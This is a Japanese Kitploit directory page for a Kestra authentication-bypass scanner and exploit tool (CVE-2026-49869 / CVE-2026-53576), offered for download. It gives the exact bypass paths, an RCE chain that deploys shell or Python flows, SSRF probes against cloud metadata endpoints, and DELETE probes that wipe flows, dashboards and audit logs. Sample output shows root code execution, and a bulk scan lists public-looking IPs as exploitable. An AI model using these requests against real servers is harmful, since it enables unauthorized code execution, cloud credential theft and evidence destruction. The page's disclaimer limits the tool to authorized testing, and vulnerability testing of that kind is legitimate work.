Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-49869 — Kestra 認証バイパス脆弱性チェッカー | Kitploit
ツール/GitHubGitHub/ap0dexme0/cve-2026-49869
脆弱性スキャナーエクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール認証
GitHubap0dexme0/cve-2026-49869

CVE-2026-49869

Kestra 認証バイパス脆弱性チェッカー

リポジトリを見る
152ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Kestra CVE-2026-49869 / CVE-2026-53576 スキャナー

Kestraインスタンスをスキャンし、endsWith("/configs") による認証フィルターのバイパスをチェックします。Kestraの AuthenticationFilter.java は、正確なパス /api/v1/configs と比較する代わりに request.getPath().endsWith("/configs") でチェックを行うため、呼び出し側が選択可能なパスセグメント(名前空間、フローID)を介してアドレス指定されるリソースに対し、/configs で終わる任意のパスでBasic認証をバイパスし、認証なしでのフロー作成とRCEを可能にします(CVSS 10.0)。

参照:

  • GHSA-5vc5-wxxq-3fjx
  • TP-2026-009
  • CVE-2026-49869 不適切な認証 / OSコマンドインジェクション / 許可入力の不完全なリスト
  • CVE-2026-53576

検出ロジック

  1. 生存確認+バージョンチェック GET /api/v1/configs(200が返ること。レスポンスボディからKestraのバージョンを解析)
  • 認証チェック GET /api/v1/{tenant}/flows(認証が有効なら401/403が返ること)
  • バイパスプローブ /configs で終わるパスに対する6つのGETリクエスト。認証チェックが有効であるにもかかわらず、いずれかが401/403以外を返した場合、インスタンスは脆弱と判断
  • アグレッシブモード(--aggressive)では、書き込みバイパスの可否を確認するためPUTリクエストも送信
  • RCE検証(--rce)全チェーン: シェル/Pythonフロー作成 → 実行トリガー → ログ取得 → コード実行確認 → クリーンアップ
  • SSRF検出(--ssrf)Pebbleの http() を使用してAWS/GCP/Azureのクラウドメタデータおよび内部エンドポイントをターゲットとするフローを作成し、ログから証拠を確認
  • DELETEプローブ(--destructive)フロー、ダッシュボード、ログのバイパスパスにDELETEを送信し、破壊的操作バイパスを確認
  • プローブエンドポイント

    セーフプローブ(デフォルト)

    プローブメソッドパス説明
    公開設定GET/api/v1/configs生存確認+バージョン抽出
    保護された通常パスGET/api/v1/{tenant}/flows認証適用ベースライン
    フローバイパスGET/api/v1/{tenant}/flows/{namespace}/configsフロー一覧バイパス
    実行バイパスGET/api/v1/{tenant}/executions/{namespace}/configs実行バイパス
    KVストアバイパスGET/api/v1/{tenant}/namespaces/{namespace}/kv/configsKV読み取りバイパス
    ダッシュボードバイパスGET/api/v1/{tenant}/dashboards/configsダッシュボードバイパス
    ログバイパスGET/api/v1/{tenant}/logs/{namespace}/configsログアクセスバイパス
    テンプレートバイパスGET/api/v1/{tenant}/templates/{namespace}/configsテンプレート読み取りバイパス

    アグレッシブプローブ(--aggressive)

    プローブメソッドパス説明
    フローPUTバイパスPUTフローバイパスと同じ最小限の debug.Return フローを作成
    KV PUTバイパスPUTKVバイパスと同じKVエントリ {"scanned": true} を作成

    破壊的プローブ(--destructive)

    プローブメソッドパス説明
    フローDELETEバイパスDELETEフローバイパスと同じ"configs" という名前のリソースを削除
    ダッシュボードDELETEバイパスDELETEダッシュボードバイパスと同じ"configs" という名前のダッシュボードを削除
    ログDELETEバイパスDELETEログバイパスと同じ監査ログを破棄

    RCE検証チェーン(--rce)

    認証バイパスが確認された場合のみ実行。アドバイザリからの完全チェーン:

    ステップメソッドパス説明
    1. RCEフロー作成PUT/api/v1/{tenant}/flows/{namespace}/configsio.kestra.plugin.scripts.shell.Commands でフローをデプロイ(echo <marker>, id, hostname)。失敗時は io.kestra.plugin.scripts.python.Script にフォールバック
    2. 実行トリガーPOST/api/v1/{tenant}/executions/{namespace}/configsバイパスパス経由でフローを開始
    3. ログポーリングGET/api/v1/{tenant}/logs/search?executionId=<id>--poll-retries 回(デフォルト10)まで、--poll-interval 秒(デフォルト3)ごとにポーリングし、一意のRCEマーカーを検索
    4. クリーンアップDELETEステップ1と同じデプロイしたフローを削除

    SSRF検出チェーン(--ssrf)

    認証バイパスが確認された場合のみ実行:

    ステップメソッドパス説明
    1. SSRFフロー作成PUT/api/v1/{tenant}/flows/{namespace}/configsPebbleの http() を使い、AWS(169.254.169.254/latest/meta-data/ami-id)、GCP(metadata.google.internal)、Azure(169.254.169.254/metadata/instance)、内部(127.0.0.1:8080/api/v1/configs)を呼び出す debug.Return タスクをデプロイ
    2. 実行トリガーPOSTRCEステップ2と同じフローをトリガー
    3. ログポーリングGET/api/v1/{tenant}/logs/search?executionId=<id>クラウドメタデータの兆候(ami-, i-, 169.254.169.254, metadata.google.internal など)を確認
    4. クリーンアップDELETEステップ1と同じデプロイしたフローを削除

    CLIリファレンス

    root@kitploit:~
    positional:
      target                          単一ターゲットURL(例: http://localhost:8080)
    
    options:
      -f, --file                      ターゲットリストファイル(1行1ターゲット)
      -t, --timeout                   リクエストタイムアウト(秒、デフォルト: 10)
      --verify-ssl                    TLS証明書を検証
      -j, --json                      標準出力にJSONを出力
      -o, --output                    JSONレポートをファイルに書き込み
      --tenant                        テナント名(デフォルト: "main")
      --namespace                     バイパスパス用名前空間(デフォルト: "tutorial")
      -w, --workers                   一括スキャンのスレッド数(デフォルト: 10)
      -a, --aggressive                PUTリクエストを送信して書き込みバイパスを確認
      -P, --auto-ports                自動拡張用ポート(デフォルト: 8080 8081 8088 8091 80 443)
    
    advanced probes:
      -r, --rce                       RCE検証チェーンを有効化(シェル+Pythonフロー、実行トリガー、ログ取得、自動クリーンアップ)
      -s, --ssrf                      SSRF検出を有効化(Pebble http() によるクラウドメタデータエンドポイントへの呼び出し、ログベースの証拠収集)
      -d, --destructive               DELETEプローブを有効化(フロー、ダッシュボード、ログに対して。脆弱なインスタンスでリソースを削除します)
      --poll-interval                 RCE/SSRFチェーンでのログポーリング間隔(秒、デフォルト: 3)
      --poll-retries                  RCE/SSRFチェーンでの最大ログポーリング試行回数(デフォルト: 10)
    

    出力

    単一ターゲット

    プローブごとの詳細(バージョン、RCE、SSRF、DELETEステータスによるエンリッチ)と判定:

    root@kitploit:~
    ====================================================================
      Target:    http://10.0.0.1:8080
      Timestamp: 2026-06-30T12:00:00+00:00
    ====================================================================
    
      Version:      1.3.20 (AFFECTED)
      RCE:          CONFIRMED via shell
        | SCAN_RCE_a1b2c3d4e5f6
        | uid=0(root) gid=0(root) groups=0(root)
      SSRF:         DETECTED
        | Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
      DELETE BYPASS: CONFIRMED destructive ops bypass auth
    
      [Flows Bypass]
        URL:         http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
        Status:       200
        Bypass:      YES
    
      [Exec Bypass]
        URL:         http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
        Status:       404
        Bypass:      No
    
      ...
    
      ── RCE Verification Chain ──
        Flow Create: 201
        Exec Trigger: 201
        Log Evidence: 200
          > SCAN_RCE_a1b2c3d4e5f6
          > uid=0(root) gid=0(root) groups=0(root)
        Flow Cleanup: 204
    
      ── SSRF Detection Chain ──
        Flow Create: 201
        Exec Trigger: 201
        Evidence: 200
          Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
        Flow Cleanup: 204
    
      [VULN]  Verdict: VULNERABLE ...
    ====================================================================
    

    一括サマリー

    RCE/SSRF/DELフラグ列を含むソート済み表形式:

    root@kitploit:~
    ========================================================================================================================================
      BULK SCAN SUMMARY   GHSA-5vc5-wxxq-3fjx  |  CVE-2026-49869 / CVE-2026-53576
    ========================================================================================================================================
      #    Target                          Auth   Flows  Exec   KV     Dash   Logs   Tmpl   RCE    SSRF   DEL    Ver
      ---------------------------------------------------------------------------------------------------------------------------------------
      1    http://173.249.1.26:8080        401    404    ERR    ERR    ERR    405    404    YES    YES    YES    RCE!
      2    http://207.180.207.199:8080     401    404    ERR    ERR    ERR    405    404    INC    -      YES    VULN
      ...
      30   http://103.115.65.228:8080      401    401    ERR    401    ERR    401    401    -      -      -      SAFE
      ...
    ========================================================================================================================================
      Total: 258  |  Vulnerable: 5  |  RCE Confirmed: 1  |  SSRF Detected: 1  |  DEL Bypass: 2  |  Safe: 29  |  Inconclusive: 224
    ========================================================================================================================================
    

    終了コード: 0 = 脆弱性なし、1 = 脆弱性あり、2 = すべて判断不能。

    JSONレポート

    -j または -o を使用すると、ターゲットごとのエンリッチフィールドが出力に含まれます:

    root@kitploit:~
    {
      "scan_info": {
        "scanner": "kestra_cve v2.0.0",
        "cve": ["CVE-2026-49869", "CVE-2026-53576"],
        "aggressive": true,
        "rce": true,
        "ssrf": true,
        "destructive": true
      },
      "results": [
        {
          "target": "http://10.0.0.1:8080",
          "vulnerable": true,
          "version": "1.3.20",
          "version_in_affected_range": true,
          "rce_confirmed": true,
          "rce_method": "shell",
          "rce_evidence": "SCAN_RCE_a1b2c3d4e5f6\nuid=0(root)",
          "ssrf_detected": true,
          "ssrf_evidence": "Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080",
          "delete_bypass": true,
          "probes": { "..." : "..." }
        }
      ],
      "summary": {
        "total": 258,
        "vulnerable": 5,
        "rce_confirmed": 1,
        "ssrf_detected": 1,
        "delete_bypass": 2,
        "safe": 29,
        "inconclusive": 224
      }
    }
    

    バージョン検出

    スキャナーは GET /api/v1/configs のレスポンスからKestraのバージョンを自動抽出し、分類します:

    バージョン分類
    <= 1.0.44影響あり(1.0系、修正前)
    >= 1.0.45修正済み(1.0系)
    1.3.0 ~ 1.3.20影響あり(1.3系、修正前)
    >= 1.3.21修正済み(1.3系)
    >= 1.4.0修正済み(影響範囲より新しい)
    不明レスポンスにバージョンが見つからない

    Kestraは別々の修正ブランチ(1.0.x と 1.3.x)を管理しているため、ブランチを考慮した比較を使用しています。

    v1.0.0

    • セーフGETプローブ、アグレッシブPUTプローブ、一括スキャン、JSON出力に対応した初回リリース

    インストール

    Python 3.10+ が必要です。

    root@kitploit:~
    pip install -r requirements.txt
    python main.py --help
    

    免責事項

    許可された防御的テスト専用です。--rce および --destructive フラグは、ターゲット上で実際のリソースを作成・実行します。自分が所有していないシステムをスキャンする前に、必ず適切な書面による承認を得てください。

    ツールをダウンロード